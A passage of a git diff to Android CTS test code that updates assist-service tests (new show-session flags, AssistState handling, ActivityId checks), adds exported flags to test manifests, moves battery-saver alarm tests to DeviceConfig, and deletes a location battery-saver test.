           <intent-filter>
-              <action android:name="android.service.voice.VoiceInteractionService" />
+              <action android:name="android.service.voice.VoiceInteractionService"/>
           </intent-filter>
       </service>
       <activity android:name=".DisableContextActivity"
-                android:visibleToInstantApps="true">
+           android:visibleToInstantApps="true"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.START_TEST_DISABLE_CONTEXT" />
-              <category android:name="android.intent.category.DEFAULT" />
+              <action android:name="android.intent.action.START_TEST_DISABLE_CONTEXT"/>
+              <category android:name="android.intent.category.DEFAULT"/>
           </intent-filter>
       </activity>
       <activity android:name=".DelayedAssistantActivity"
-                android:label="Delay Assistant Start Activity"
-                android:exported="true"
-                android:visibleToInstantApps="true">
+           android:label="Delay Assistant Start Activity"
+           android:exported="true"
+           android:visibleToInstantApps="true">
           <intent-filter>
-              <action android:name="android.intent.action.START_TEST_ASSIST_STRUCTURE" />
-              <action android:name="android.intent.action.START_TEST_LIFECYCLE" />
-              <action android:name="android.intent.action.START_TEST_LIFECYCLE_NOUI" />
-              <action android:name="android.intent.action.START_TEST_FLAG_SECURE" />
-              <action android:name="android.intent.action.START_TEST_SCREENSHOT" />
-              <action android:name="android.intent.action.START_TEST_EXTRA_ASSIST" />
-              <action android:name="android.intent.action.START_TEST_TEXTVIEW" />
-              <action android:name="android.intent.action.START_TEST_LARGE_VIEW_HIERARCHY" />
-              <action android:name="android.intent.action.START_TEST_VERIFY_CONTENT_VIEW" />
-              <action android:name="android.intent.action.START_TEST_FOCUS_CHANGE" />
-              <action android:name="android.intent.action.START_TEST_WEBVIEW" />
-              <category android:name="android.intent.category.DEFAULT" />
+              <action android:name="android.intent.action.START_TEST_ASSIST_STRUCTURE"/>
+              <action android:name="android.intent.action.START_TEST_LIFECYCLE"/>
+              <action android:name="android.intent.action.START_TEST_LIFECYCLE_NOUI"/>
+              <action android:name="android.intent.action.START_TEST_FLAG_SECURE"/>
+              <action android:name="android.intent.action.START_TEST_SCREENSHOT"/>
+              <action android:name="android.intent.action.START_TEST_EXTRA_ASSIST"/>
+              <action android:name="android.intent.action.START_TEST_TEXTVIEW"/>
+              <action android:name="android.intent.action.START_TEST_LARGE_VIEW_HIERARCHY"/>
+              <action android:name="android.intent.action.START_TEST_VERIFY_CONTENT_VIEW"/>
+              <action android:name="android.intent.action.START_TEST_FOCUS_CHANGE"/>
+              <action android:name="android.intent.action.START_TEST_WEBVIEW"/>
+              <category android:name="android.intent.category.DEFAULT"/>
           </intent-filter>
       </activity>
       <service android:name=".MainInteractionSessionService"
-              android:permission="android.permission.BIND_VOICE_INTERACTION"
-              android:process=":session">
+           android:permission="android.permission.BIND_VOICE_INTERACTION"
+           android:process=":session">
       </service>
       <service android:name=".MainRecognitionService"
-              android:label="CTS Voice Recognition Service">
+           android:label="CTS Voice Recognition Service"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.speech.RecognitionService" />
-              <category android:name="android.intent.category.DEFAULT" />
+              <action android:name="android.speech.RecognitionService"/>
+              <category android:name="android.intent.category.DEFAULT"/>
           </intent-filter>
-          <meta-data android:name="android.speech" android:resource="@xml/recognition_service" />
+          <meta-data android:name="android.speech"
+               android:resource="@xml/recognition_service"/>
       </service>
     </application>
 </manifest>
-
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionService.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionService.java
index d5e3a6d..5b468e4 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionService.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionService.java
@@ -16,6 +16,7 @@
 
 package android.assist.service;
 
+import static android.assist.common.Utils.SHOW_SESSION_FLAGS_TO_SET;
 import static android.service.voice.VoiceInteractionSession.SHOW_WITH_ASSIST;
 import static android.service.voice.VoiceInteractionSession.SHOW_WITH_SCREENSHOT;
 
@@ -118,11 +119,12 @@
                 if (extras == null) {
                     extras = new Bundle();
                 }
-
+                int showSessionFlags = extras.getInt(SHOW_SESSION_FLAGS_TO_SET,
+                        SHOW_WITH_ASSIST | SHOW_WITH_SCREENSHOT);
                 extras.putString(Utils.TESTCASE_TYPE, mIntent.getStringExtra(Utils.TESTCASE_TYPE));
                 extras.putParcelable(Utils.EXTRA_REMOTE_CALLBACK, mRemoteCallback);
                 MainInteractionService.this.showSession(
-                        extras, SHOW_WITH_ASSIST | SHOW_WITH_SCREENSHOT);
+                        extras, showSessionFlags);
             } else {
                 Log.e(TAG, "MainInteractionServiceBroadcastReceiver: invalid action " + action);
             }
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index dde77a8..a535d99 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -44,6 +44,7 @@
 
     private boolean hasReceivedAssistData = false;
     private boolean hasReceivedScreenshot = false;
+    private boolean mScreenshotNeeded = true;
     private int mCurColor;
     private int mDisplayHeight;
     private int mDisplayWidth;
@@ -104,9 +105,11 @@
 
     @Override
     public void onShow(Bundle args, int showFlags) {
-        if ((showFlags & SHOW_WITH_ASSIST) == 0) {
+        if (args == null) {
+            Log.e(TAG, "onshow() received null args");
             return;
         }
+        mScreenshotNeeded = (showFlags & SHOW_WITH_SCREENSHOT) != 0;
         mTestName = args.getString(Utils.TESTCASE_TYPE, "");
         mCurColor = args.getInt(Utils.SCREENSHOT_COLOR_KEY);
         mDisplayHeight = args.getInt(Utils.DISPLAY_HEIGHT_KEY);
@@ -145,15 +148,18 @@
     }
 
     @Override
-    @SuppressWarnings("deprecation")
-    public void onHandleAssist(/*@Nullable */Bundle data, /*@Nullable*/ AssistStructure structure,
-        /*@Nullable*/ AssistContent content) {
+    public void onHandleAssist(AssistState state) {
+        super.onHandleAssist(state);
+        Bundle data = state.getAssistData();
+        AssistStructure structure = state.getAssistStructure();
+        AssistContent content = state.getAssistContent();
+
         Log.i(TAG, "onHandleAssist");
         Log.i(TAG,
                 String.format("Bundle: %s, Structure: %s, Content: %s", data, structure, content));
-        super.onHandleAssist(data, structure, content);
 
         // send to test to verify that this is accurate.
+        mAssistData.putBoolean(Utils.ASSIST_IS_ACTIVITY_ID_NULL, state.getActivityId() == null);
         mAssistData.putParcelable(Utils.ASSIST_STRUCTURE_KEY, structure);
         mAssistData.putParcelable(Utils.ASSIST_CONTENT_KEY, content);
         mAssistData.putBundle(Utils.ASSIST_BUNDLE_KEY, data);
@@ -162,13 +168,6 @@
     }
 
     @Override
-    @SuppressWarnings("deprecation")
-    public void onHandleAssistSecondary(Bundle data, AssistStructure structure,
-            AssistContent content, int index, int count) {
-        Log.e(TAG, "onHandleAssistSecondary() called instead of onHandleAssist()");
-    }
-
-    @Override
     public void onAssistStructureFailure(Throwable failure) {
         Log.e(TAG, "onAssistStructureFailure(): D'OH!!!", failure);
     }
@@ -225,7 +224,7 @@
     private void maybeBroadcastResults() {
         if (!hasReceivedAssistData) {
             Log.i(TAG, "waiting for assist data before broadcasting results");
-        } else if (!hasReceivedScreenshot) {
+        } else if (mScreenshotNeeded && !hasReceivedScreenshot) {
             Log.i(TAG, "waiting for screenshot before broadcasting results");
         } else {
             Bundle bundle = new Bundle();
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index 2aecbd6..8c25dea 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -65,7 +65,6 @@
 import org.junit.After;
 import org.junit.Before;
 import org.junit.BeforeClass;
-import org.junit.ClassRule;
 import org.junit.Rule;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
@@ -120,6 +119,7 @@
 
     protected ActivityManager mActivityManager;
     private TestStartActivity mTestActivity;
+    protected boolean mIsActivityIdNull;
     protected AssistContent mAssistContent;
     protected AssistStructure mAssistStructure;
     protected boolean mScreenshot;
@@ -163,6 +163,7 @@
         mAssistStructure = null;
         mAssistContent = null;
         mAssistBundle = null;
+        mIsActivityIdNull = false;
 
         mActionLatchReceiver = new ActionLatchReceiver();
 
@@ -293,7 +294,11 @@
      * Send broadcast to MainInteractionService to start a session
      */
     protected AutoResetLatch startSession() {
-        return startSession(mTestName, new Bundle());
+        return startSession(new Bundle());
+    }
+
+    protected AutoResetLatch startSession(Bundle extras) {
+        return startSession(mTestName, extras);
     }
 
     protected AutoResetLatch startSession(String testName, Bundle extras) {
@@ -331,6 +336,19 @@
     }
 
     /**
+     * Checks the nullness of the received
+     * {@link android.service.voice.VoiceInteractionSession.ActivityId}.
+     *
+     * @param isActivityIdNull True if activityId should be null.
+     */
+    protected void verifyActivityIdNullness(boolean isActivityIdNull) {
+        if (mIsActivityIdNull != isActivityIdNull) {
+            fail(String.format("Should %s have been null - ActivityId: %s",
+                    isActivityIdNull ? "" : "not", mIsActivityIdNull));
+        }
+    }
+
+    /**
      * Checks that the nullness of values are what we expect.
      *
      * @param isBundleNull True if assistBundle should be null.
@@ -645,6 +663,7 @@
     }
 
     protected void setAssistResults(Bundle assistData) {
+        mIsActivityIdNull = assistData.getBoolean(Utils.ASSIST_IS_ACTIVITY_ID_NULL);;
         mAssistBundle = assistData.getBundle(Utils.ASSIST_BUNDLE_KEY);
         mAssistStructure = assistData.getParcelable(Utils.ASSIST_STRUCTURE_KEY);
         mAssistContent = assistData.getParcelable(Utils.ASSIST_CONTENT_KEY);
diff --git a/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java b/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java
index d465880..74468ff 100644
--- a/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java
+++ b/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java
@@ -15,6 +15,8 @@
  */
 package android.assist.cts;
 
+import static android.assist.common.Utils.SHOW_SESSION_FLAGS_TO_SET;
+
 import android.assist.common.AutoResetLatch;
 import android.assist.common.Utils;
 import android.content.Intent;
@@ -67,4 +69,23 @@
         assertWithMessage("Wrong value for EXTRA_ASSIST_UID").that(actualUid)
                 .isEqualTo(expectedUid);
     }
+
+    @Test
+    public void testAssistContentAndDataNullWhenNoFlagsToShowSession() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            Log.d(TAG, "Not running assist tests on low-RAM device.");
+            return;
+        }
+        startTest(TEST_CASE_TYPE);
+        waitForAssistantToBeReady();
+        start3pApp(TEST_CASE_TYPE);
+
+        Bundle bundle = new Bundle();
+        bundle.putInt(SHOW_SESSION_FLAGS_TO_SET, 0);
+        final AutoResetLatch latch = startSession(bundle);
+        waitForContext(latch);
+
+        verifyActivityIdNullness(/* isActivityIdNull = */ false);
+        verifyAssistDataNullness(true, true, true, true);
+    }
 }
diff --git a/tests/tests/assist/testapp/AndroidManifest.xml b/tests/tests/assist/testapp/AndroidManifest.xml
index 513d27a..a2dcd7a 100644
--- a/tests/tests/assist/testapp/AndroidManifest.xml
+++ b/tests/tests/assist/testapp/AndroidManifest.xml
@@ -16,79 +16,87 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.assist.testapp">
+     package="android.assist.testapp">
 
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.INTERNET"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".TestApp"
-                android:label="Assist Structure Test Activity">
+             android:label="Assist Structure Test Activity"
+             android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.TEST_APP_ASSIST_STRUCTURE" />
-              <action android:name="android.intent.action.TEST_APP_LARGE_VIEW_HIERARCHY" />
-              <category android:name="android.intent.category.DEFAULT" />
-              <category android:name="android.intent.category.VOICE" />
+              <action android:name="android.intent.action.TEST_APP_ASSIST_STRUCTURE"/>
+              <action android:name="android.intent.action.TEST_APP_LARGE_VIEW_HIERARCHY"/>
+              <category android:name="android.intent.category.DEFAULT"/>
+              <category android:name="android.intent.category.VOICE"/>
           </intent-filter>
         </activity>
         <activity android:name=".SecureActivity"
-                  android:label="Secure Test Activity">
+             android:label="Secure Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_FLAG_SECURE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.VOICE" />
+                <action android:name="android.intent.action.TEST_APP_FLAG_SECURE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.VOICE"/>
             </intent-filter>
         </activity>
         <activity android:name=".LifecycleActivity"
-                  android:label="Life Cycle Check Activity">
+             android:label="Life Cycle Check Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_LIFECYCLE" />
-                <action android:name="android.intent.action.TEST_APP_LIFECYCLE_NOUI" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.VOICE" />
+                <action android:name="android.intent.action.TEST_APP_LIFECYCLE"/>
+                <action android:name="android.intent.action.TEST_APP_LIFECYCLE_NOUI"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.VOICE"/>
             </intent-filter>
         </activity>
         <!-- resizeableActivity makes the ScreenshotActivity run on Primary display to accommodate
-             assumptions about screenshot display vs TestStartActivity display in this test.
-             See b/70032125 -->
+                         assumptions about screenshot display vs TestStartActivity display in this test.
+                         See b/70032125 -->
         <activity android:name=".ScreenshotActivity"
-                  android:label="Screenshot Test Activity"
-                  android:resizeableActivity="false">
+             android:label="Screenshot Test Activity"
+             android:resizeableActivity="false"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_SCREENSHOT" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.VOICE" />
+                <action android:name="android.intent.action.TEST_APP_SCREENSHOT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.VOICE"/>
             </intent-filter>
         </activity>
         <activity android:name=".ExtraAssistDataActivity"
-            android:label="Extra Assist Test Activity">
+             android:label="Extra Assist Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_EXTRA_ASSIST" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.VOICE" />
+                <action android:name="android.intent.action.TEST_APP_EXTRA_ASSIST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.VOICE"/>
             </intent-filter>
         </activity>
         <activity android:name=".TextViewActivity"
-            android:label="TextView Test Activity">
+             android:label="TextView Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_TEXTVIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.TEST_APP_TEXTVIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
         <activity android:name=".WebViewActivity"
-            android:label="WebView Test Activity">
+             android:label="WebView Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_WEBVIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.TEST_APP_WEBVIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
         <activity android:name=".FocusChangeActivity"
-            android:label="Focus Change Test Activity">
+             android:label="Focus Change Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_FOCUS_CHANGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.VOICE" />
+                <action android:name="android.intent.action.TEST_APP_FOCUS_CHANGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.VOICE"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/batterysaving/Android.bp b/tests/tests/batterysaving/Android.bp
index 24917fd..f8691eb 100644
--- a/tests/tests/batterysaving/Android.bp
+++ b/tests/tests/batterysaving/Android.bp
@@ -38,6 +38,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "test_current",
 }
diff --git a/tests/tests/batterysaving/AndroidTest.xml b/tests/tests/batterysaving/AndroidTest.xml
index 5f32612..ad98752 100644
--- a/tests/tests/batterysaving/AndroidTest.xml
+++ b/tests/tests/batterysaving/AndroidTest.xml
@@ -47,4 +47,9 @@
         <option name="package" value="android.os.cts.batterysaving" />
         <option name="runtime-hint" value="10m00s" />
     </test>
+
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="android.scheduling"/>
+    </object>
 </configuration>
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.bp b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
index 0ec062b..0519045 100644
--- a/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
+++ b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.bp b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
index a1b90c2..3565acf 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
+++ b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
@@ -25,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
 
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
index eab84ad..d5c2ff9 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
+++ b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
@@ -98,7 +98,7 @@
             final boolean allowWhileIdle = req.getAllowWhileIdle();
 
             final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1,
-                    new Intent(req.getIntentAction()), 0);
+                    new Intent(req.getIntentAction()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
                     + ", interval=" + interval + ", allowWhileIdle=" + allowWhileIdle);
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
index e4abb12..ca12681 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
@@ -22,7 +22,6 @@
 import static com.android.compatibility.common.util.AmUtils.runMakeUidIdle;
 import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
 import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryUnplug;
-import static com.android.compatibility.common.util.SettingsUtils.putGlobalSetting;
 import static com.android.compatibility.common.util.TestUtils.waitUntil;
 
 import static org.junit.Assert.assertEquals;
@@ -41,16 +40,19 @@
 import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.SetAlarmRequest;
 import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.StartServiceRequest;
 import android.os.cts.batterysaving.common.Values;
+import android.provider.DeviceConfig;
 import android.util.Log;
 
 import androidx.test.filters.LargeTest;
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.ThreadUtils;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -76,16 +78,19 @@
     private static final long ALLOW_WHILE_IDLE_LONG_TIME = 20_000;
     private static final long MIN_FUTURITY = 2_000;
 
-    private void updateAlarmManagerConstants() throws IOException {
-        putGlobalSetting("alarm_manager_constants",
-                "min_interval=" + MIN_REPEATING_INTERVAL + ","
-                + "min_futurity=" + MIN_FUTURITY + ","
-                + "allow_while_idle_short_time=" + ALLOW_WHILE_IDLE_SHORT_TIME + ","
-                + "allow_while_idle_long_time=" + ALLOW_WHILE_IDLE_LONG_TIME);
+    private void updateAlarmManagerConstants() {
+        mAlarmManagerDeviceConfigStateHelper.set("min_interval",
+                String.valueOf(MIN_REPEATING_INTERVAL));
+        mAlarmManagerDeviceConfigStateHelper.set("min_futurity",
+                String.valueOf(MIN_FUTURITY));
+        mAlarmManagerDeviceConfigStateHelper.set("allow_while_idle_short_time",
+                String.valueOf(ALLOW_WHILE_IDLE_SHORT_TIME));
+        mAlarmManagerDeviceConfigStateHelper.set("allow_while_idle_long_time",
+                String.valueOf(ALLOW_WHILE_IDLE_LONG_TIME));
     }
 
-    private void resetAlarmManagerConstants() throws IOException {
-        putGlobalSetting("alarm_manager_constants", "null");
+    private void resetAlarmManagerConstants() {
+        mAlarmManagerDeviceConfigStateHelper.restoreOriginalValues();
     }
 
     // Use a different broadcast action every time.
@@ -101,6 +106,9 @@
         }
     };
 
+    private final DeviceConfigStateHelper mAlarmManagerDeviceConfigStateHelper =
+            new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_ALARM_MANAGER);
+
     @Before
     public void setUp() throws IOException {
         updateAlarmManagerConstants();
@@ -177,6 +185,7 @@
 
     @LargeTest
     @Test
+    @Ignore("Broken until b/171306433 is completed")
     public void testAllowWhileIdleThrottled() throws Exception {
         final String targetPackage = APP_25_PACKAGE;
 
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
index e7a3272..e69de29 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
@@ -1,337 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.os.cts.batterysaving;
-
-import static android.provider.Settings.Global.BATTERY_SAVER_CONSTANTS;
-import static android.provider.Settings.Secure.LOCATION_MODE_OFF;
-
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
-import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
-import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryUnplug;
-import static com.android.compatibility.common.util.BatteryUtils.turnOnScreen;
-import static com.android.compatibility.common.util.TestUtils.waitUntil;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.UiModeManager;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.location.Criteria;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.location.LocationProvider;
-import android.location.LocationRequest;
-import android.os.Bundle;
-import android.os.Looper;
-import android.os.PowerManager;
-import android.os.Process;
-import android.provider.Settings;
-import android.provider.Settings.Global;
-import android.provider.Settings.Secure;
-
-import androidx.test.filters.MediumTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.CallbackAsserter;
-import com.android.compatibility.common.util.LocationUtils;
-import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.compatibility.common.util.SettingsUtils;
-import com.android.compatibility.common.util.TestUtils.RunnableWithThrow;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.List;
-
-/**
- * Tests related to battery saver:
- * atest android.os.cts.batterysaving.BatterySaverLocationTest
- */
-@MediumTest
-@RunWith(AndroidJUnit4.class)
-public class BatterySaverLocationTest extends BatterySavingTestBase {
-    private static final String TAG = "BatterySaverLocationTest";
-
-    private static final String TEST_PROVIDER_NAME = "test_provider";
-
-    @Rule
-    public final RequiredFeatureRule mRequireLocationRule =
-            new RequiredFeatureRule(PackageManager.FEATURE_LOCATION);
-
-    @Rule
-    public final RequiredFeatureRule mRequireLocationGpsRule =
-            new RequiredFeatureRule(PackageManager.FEATURE_LOCATION_GPS);
-
-    private LocationManager mLocationManager;
-
-    private static class TestLocationListener implements LocationListener {
-        @Override
-        public void onLocationChanged(Location location) {
-
-        }
-
-        @Override
-        public void onStatusChanged(String provider, int status, Bundle extras) {
-
-        }
-
-        @Override
-        public void onProviderEnabled(String provider) {
-
-        }
-
-        @Override
-        public void onProviderDisabled(String provider) {
-            fail("Provider disabled");
-        }
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        LocationUtils.registerMockLocationProvider(getInstrumentation(), true);
-        mLocationManager = getLocationManager();
-
-        // remove test provider if left over from an aborted run
-        LocationProvider lp = mLocationManager.getProvider(TEST_PROVIDER_NAME);
-        if (lp != null) {
-            mLocationManager.removeTestProvider(TEST_PROVIDER_NAME);
-        }
-
-        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL,
-                Settings.Global.LOCATION_IGNORE_SETTINGS_PACKAGE_WHITELIST,
-                "android.os.cts.batterysaving");
-
-        getContext().getSystemService(UiModeManager.class).disableCarMode(0);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        LocationUtils.registerMockLocationProvider(getInstrumentation(), false);
-        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL,
-                Settings.Global.LOCATION_IGNORE_SETTINGS_PACKAGE_WHITELIST,
-                "");
-    }
-
-    private boolean areOnlyIgnoreSettingsRequestsSentToProvider() {
-        List<LocationRequest> requests =
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME);
-        for (LocationRequest request : requests) {
-            if (!request.isLocationSettingsIgnored()) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    /**
-     * Test for the {@link PowerManager#LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF} mode.
-     */
-    @Test
-    public void testLocationAllDisabled() throws Exception {
-        assertTrue("Screen is off", getPowerManager().isInteractive());
-
-        assertFalse(getPowerManager().isPowerSaveMode());
-        assertEquals(PowerManager.LOCATION_MODE_NO_CHANGE,
-                getPowerManager().getLocationPowerSaveMode());
-
-        assertEquals(0, getLocationGlobalKillSwitch());
-
-        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL, BATTERY_SAVER_CONSTANTS, "gps_mode=2");
-        assertNotEquals(LOCATION_MODE_OFF, getLocationMode());
-        assertTrue(getLocationManager().isLocationEnabled());
-
-        // Unplug the charger and activate battery saver.
-        runDumpsysBatteryUnplug();
-        enableBatterySaver(true);
-
-        // Skip if the location mode is not what's expected.
-        final int mode = getPowerManager().getLocationPowerSaveMode();
-        if (mode != PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF) {
-            fail("Unexpected location power save mode (" + mode + ").");
-        }
-
-        // Make sure screen is on.
-        assertTrue(getPowerManager().isInteractive());
-
-        // Make sure the kill switch is still off.
-        assertEquals(0, getLocationGlobalKillSwitch());
-
-        // Make sure location is still enabled.
-        assertNotEquals(LOCATION_MODE_OFF, getLocationMode());
-        assertTrue(getLocationManager().isLocationEnabled());
-
-        // Turn screen off.
-        runWithExpectingLocationCallback(() -> {
-            turnOnScreen(false);
-            waitUntil("Kill switch still off", () -> getLocationGlobalKillSwitch() == 1);
-            assertEquals(LOCATION_MODE_OFF, getLocationMode());
-            assertFalse(getLocationManager().isLocationEnabled());
-        });
-
-        // On again.
-        runWithExpectingLocationCallback(() -> {
-            turnOnScreen(true);
-            waitUntil("Kill switch still off", () -> getLocationGlobalKillSwitch() == 0);
-            assertNotEquals(LOCATION_MODE_OFF, getLocationMode());
-            assertTrue(getLocationManager().isLocationEnabled());
-        });
-
-        // Off again.
-        runWithExpectingLocationCallback(() -> {
-            turnOnScreen(false);
-            waitUntil("Kill switch still off", () -> getLocationGlobalKillSwitch() == 1);
-            assertEquals(LOCATION_MODE_OFF, getLocationMode());
-            assertFalse(getLocationManager().isLocationEnabled());
-        });
-
-        // Disable battery saver and make sure the kill swtich is off.
-        runWithExpectingLocationCallback(() -> {
-            enableBatterySaver(false);
-            waitUntil("Kill switch still on", () -> getLocationGlobalKillSwitch() == 0);
-            assertNotEquals(LOCATION_MODE_OFF, getLocationMode());
-            assertTrue(getLocationManager().isLocationEnabled());
-        });
-    }
-
-    private int getLocationGlobalKillSwitch() {
-        return Global.getInt(getContext().getContentResolver(),
-                Global.LOCATION_GLOBAL_KILL_SWITCH, 0);
-    }
-
-    private int getLocationMode() {
-        return Secure.getInt(getContext().getContentResolver(), Secure.LOCATION_MODE, 0);
-    }
-
-    private void runWithExpectingLocationCallback(RunnableWithThrow r) throws Exception {
-        CallbackAsserter locationModeBroadcastAsserter = CallbackAsserter.forBroadcast(
-                new IntentFilter(LocationManager.MODE_CHANGED_ACTION));
-        CallbackAsserter locationModeObserverAsserter = CallbackAsserter.forContentUri(
-                Settings.Secure.getUriFor(Settings.Secure.LOCATION_MODE));
-
-        r.run();
-
